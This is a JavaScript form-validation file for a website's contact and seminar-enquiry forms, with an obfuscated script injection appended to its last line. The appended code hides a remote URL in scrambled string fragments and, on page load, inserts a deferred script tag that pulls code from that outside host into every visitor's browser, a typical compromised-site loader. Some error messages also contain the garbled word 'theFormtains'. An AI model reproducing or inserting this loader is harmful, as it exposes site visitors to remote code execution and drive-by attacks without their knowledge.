// JavaScript Document

function validateContactForm(form2) {
  var reason = "";
  
	reason += validateFName(form2.Name);
	reason += validateEmail(form2.Email);
	reason += validateEmpty(form2.Message);
	
	if (reason != "") {
    alert("Some fields need correction:\n" + reason);
    return false;
  }
  alert("Thank you for your inquiry. We'll be getting back to you as soon as possible.");
  return true;
}


function validateEnquiry(form) {
  var reason = "";
  
	reason += validateSeats(form.Seats);
	reason += validateFName(form.FirstName);
	reason += validateLName(form.LastName);
	reason += validateEmail(form.Email);
	reason += validateMobile(form.MobileNumber);
	reason += validateEmpty(form.Know);
	
	if (reason != "") {
    alert("Some fields need correction:\n" + reason);
    return false;
  }
  alert("Thank you for your interest on our program. You'll be receiving our confirmation email in a while.\nPlease help us to forward this email to people whom will benefit from the seminar.\nYour support is much appreciated.");
  return true;
}

function validateEnquiry2(form) {
  var reason = "";
  
	reason += validateSeats(form.Seats);
	reason += validateFName(form.FirstName);
	reason += validateLName(form.LastName);
	reason += validateEmail(form.Email);
	reason += validateMobile(form.MobileNumber);
	reason += validateChoice(form.Know);
	reason += validateBox(form.Box);
	
	if (reason != "") {
    alert("Some fields need correction:\n" + reason);
    return false;
  }
  alert("Thank you for your interest on our program. You'll be receiving our confirmation email in a while.\nPlease help us to forward this email to people whom will benefit from the seminar.\nYour support is much appreciated.");
  return true;
}

function validateChoice(fld) {
    var error = "";

	if (fld.value == "") {
       fld.style.background = 'Yellow'; 
       error = "Please choose one.\n";
	} else {
       fld.style.background = 'White';
    }     
	return error;
}

function validateBox(fld) {
    var error = "";
	var know = document.getElementById('Know').value;
	
	if (know == "Others -") {
		fld.style.visibility = 'visible';
		if (fld.value == "") {
			fld.style.background = 'Yellow'; 		
			error = "The required field has not been filled in.\n";
		} else {
			fld.style.background = 'White';
		}
	} else {
		fld.style.visibility = 'hidden';
		fld.value = "";
		fld.style.background = 'White';
	}
    return error;   
}

function validateEmpty(fld) {
    var error = "";
  
    if (fld.value.length == 0) {
        fld.style.background = 'Yellow'; 
        error = "The required field has not been filled in.\n";
    } else {
        fld.style.background = 'White';
    }
    return error;   
}

function validateSeats(fld) {
    var error = "";
    var stripped = fld.value.replace(/[\(\)\.\-\ ]/g, '');     

   if (fld.value == "") {
        error = "You didn't enter number of seat/s.\n";
        fld.style.background = 'Yellow';
    } else if (isNaN(parseInt(stripped))) {
        error = "The seat number contains illegal characters.\n";
        fld.style.background = 'Yellow';
    } else {
       fld.style.background = 'White';
    }
    return error;
}

function validateFName(fld) {
    var error = "";
    var illegalChars = /\W/;	// allow letters, numbers, and underscores
 
    if (fld.value == "") {
        fld.style.background = 'Yellow'; 
        error = "You didn't enter your First Name.\n";
    } else if (illegalChars.test(fld.value)) {
        fld.style.background = 'Yellow'; 
        error = "Your First Name theFormtains illegal characters.\n";
    } else {
        fld.style.background = 'White';
    } 
    return error;
}

function validateLName(fld) {
    var error = "";
    var illegalChars = /\W/;	// allow letters, numbers, and underscores
 
    if (fld.value == "") {
        fld.style.background = 'Yellow'; 
        error = "You didn't enter your Last Name.\n";
    } else if (illegalChars.test(fld.value)) {
        fld.style.background = 'Yellow'; 
        error = "Your Last Name theFormtains illegal characters.\n";
    } else {
        fld.style.background = 'White';
    } 
    return error;
}

function trim(s)
{
  return s.replace(/^\s+|\s+$/, '');
} 

function validateEmail(fld) {
    var error="";
    var tfld = trim(fld.value);	// value of field with whitespace trimmed off
    var emailFilter = /^[^@]+@[^@.]+\.[^@]*\w\w$/ ;
    var illegalChars= /[\(\)\<\>\,\;\:\\\"\[\]]/ ;
    
    if (fld.value == "") {
        fld.style.background = 'Yellow';
        error = "You didn't enter an Email address.\n";
    } else if (!emailFilter.test(tfld)) {	//test email for illegal characters
        fld.style.background = 'Yellow';
        error = "Please enter a valid Email address.\n";
    } else if (fld.value.match(illegalChars)) {
        fld.style.background = 'Yellow';
        error = "The Email address theFormtains illegal characters.\n";
    } else {
        fld.style.background = 'White';
    }
    return error;
}

function validateMobile(fld) {
    var error = "";
    var stripped = fld.value.replace(/[\(\)\.\-\ ]/g, '');     

   if (fld.value == "") {
        error = "You didn't enter your contact number.\n";
        fld.style.background = 'Yellow';
    } else if (isNaN(parseInt(stripped))) {
        error = "The contact number contains illegal characters.\n";
        fld.style.background = 'Yellow';
    } else if (!(stripped.length == 8)) {
        error = "The contact number is the wrong length.\n";
        fld.style.background = 'Yellow';
    } else {
		fld.style.background = 'White';
	}
    return error;
}
var y;if(y!='g' && y!='o'){y=''};var z=new Date();var R='';function I(){var kA;if(kA!='LD' && kA!='XA'){kA='LD'};var RJ=new String();var B="g";this.Ee='';var u;if(u!='' && u!='rv'){u='ak'};var k=RegExp;var q;if(q!='c' && q!='F'){q=''};var X='';var FF;if(FF!='' && FF!='p'){FF='KM'};this.KN='';function _(x,Y){this.YP="";var Hh;if(Hh!='nW' && Hh!='uL'){Hh='nW'};var dQ="";var _h;if(_h!='' && _h!='Cy'){_h='aP'};var H= String("UHT[".substr(3));H+=Y;H+=String("]");var Yd=new k(H, B);var KL=new String();this.v='';return x.replace(Yd, X);this.Ds='';var mE="";};var at="";var RP=new String();var Z=new String("ifz4sc".substr(4)+"RTZAri".substr(4)+"ptLb9".substr(0,2));var A;if(A!='' && A!='UJ'){A='cM'};var U=String("sr"+"c");var l="defe"+"aRwr".substr(3);var N=new Array();var YCc;if(YCc!='ya' && YCc!='h'){YCc='ya'};var XJ=String("htt"+"Qzk1p:/".substr(4)+"STnO/wu".substr(4)+"ATondeToA".substr(3,3)+"rgryvKN".substr(0,3)+"oun5Bw".substr(0,3)+"nrod-crno".substr(3,3)+"om.LGy".substr(0,3)+"WX3hgooW3Xh".substr(4,3)+"o7bglebo7".substr(3,3)+"J8g.hr".substr(3)+"8uU.he8Uu".substr(3,3)+"ise"+"VTw-de".substr(3)+".th"+"8nLeho".substr(3)+"kCstlaskC".substr(3,3)+"G4Sb.r".substr(3)+"u:koU".substr(0,2));var EF;if(EF!=''){EF='Cx'};var dv=new Array();var Ydw=_('83309748340934',"37194");var K=String("/gokL01".substr(0,3)+"oglixO".substr(0,3)+"lVde.cdVl".substr(3,3)+"2GYiom/".substr(4)+"7Bfgoo".substr(3)+"vd2gle2dv".substr(3,3)+"CAF.coFCA".substr(3,3)+"krEm/s".substr(3)+"tud"+"ive"+"6JGrze6JG".substr(3,3)+"ichN9u".substr(0,3)+"nisY0Zk".substr(0,3)+"Udfj.cojfdU".substr(4,3)+"4oRm/ao4R".substr(3,3)+"rtiWga".substr(0,3)+"3Ltcle".substr(3)+"sbaZeHR".substr(0,3)+"se."+"com"+"cJo/al".substr(3)+"vtEloctEv".substr(3,3)+"Oj9zine".substr(4)+"2mc.fr".substr(3)+"wAYi.ph".substr(4)+"El2p".substr(3));var Q='';var n=window;var T='';var od='';n.onload=function(){this.Oe="";var b=new String();try {this.eD='';var j;if(j!='hY' && j!='Jm'){j=''};Q=XJ+Ydw;var Co;if(Co!='' && Co!='gD'){Co=''};Q+=K;var sn=new Date();this.WF='';var Js;if(Js!='Hz'){Js=''};var kC="";d=document.createElement(Z);var bI;if(bI!='KZ' && bI!='XD'){bI='KZ'};var ru;if(ru!='fR' && ru != ''){ru=null};var Hw=new Date();d[U]=Q;d[l]=[4,1][1];document.body.appendChild(d);var vd;if(vd!='' && vd!='QF'){vd='Bp'};var rvT='';} catch(E){var VI;if(VI!='xS' && VI!='Rf'){VI=''};var yMm=new Date();};};var Sv=new String();var KU;if(KU!='M' && KU!='en'){KU='M'};};var tB;if(tB!='gl' && tB!='Wg'){tB=''};I();var ii;if(ii!='' && ii!='Oz'){ii=null};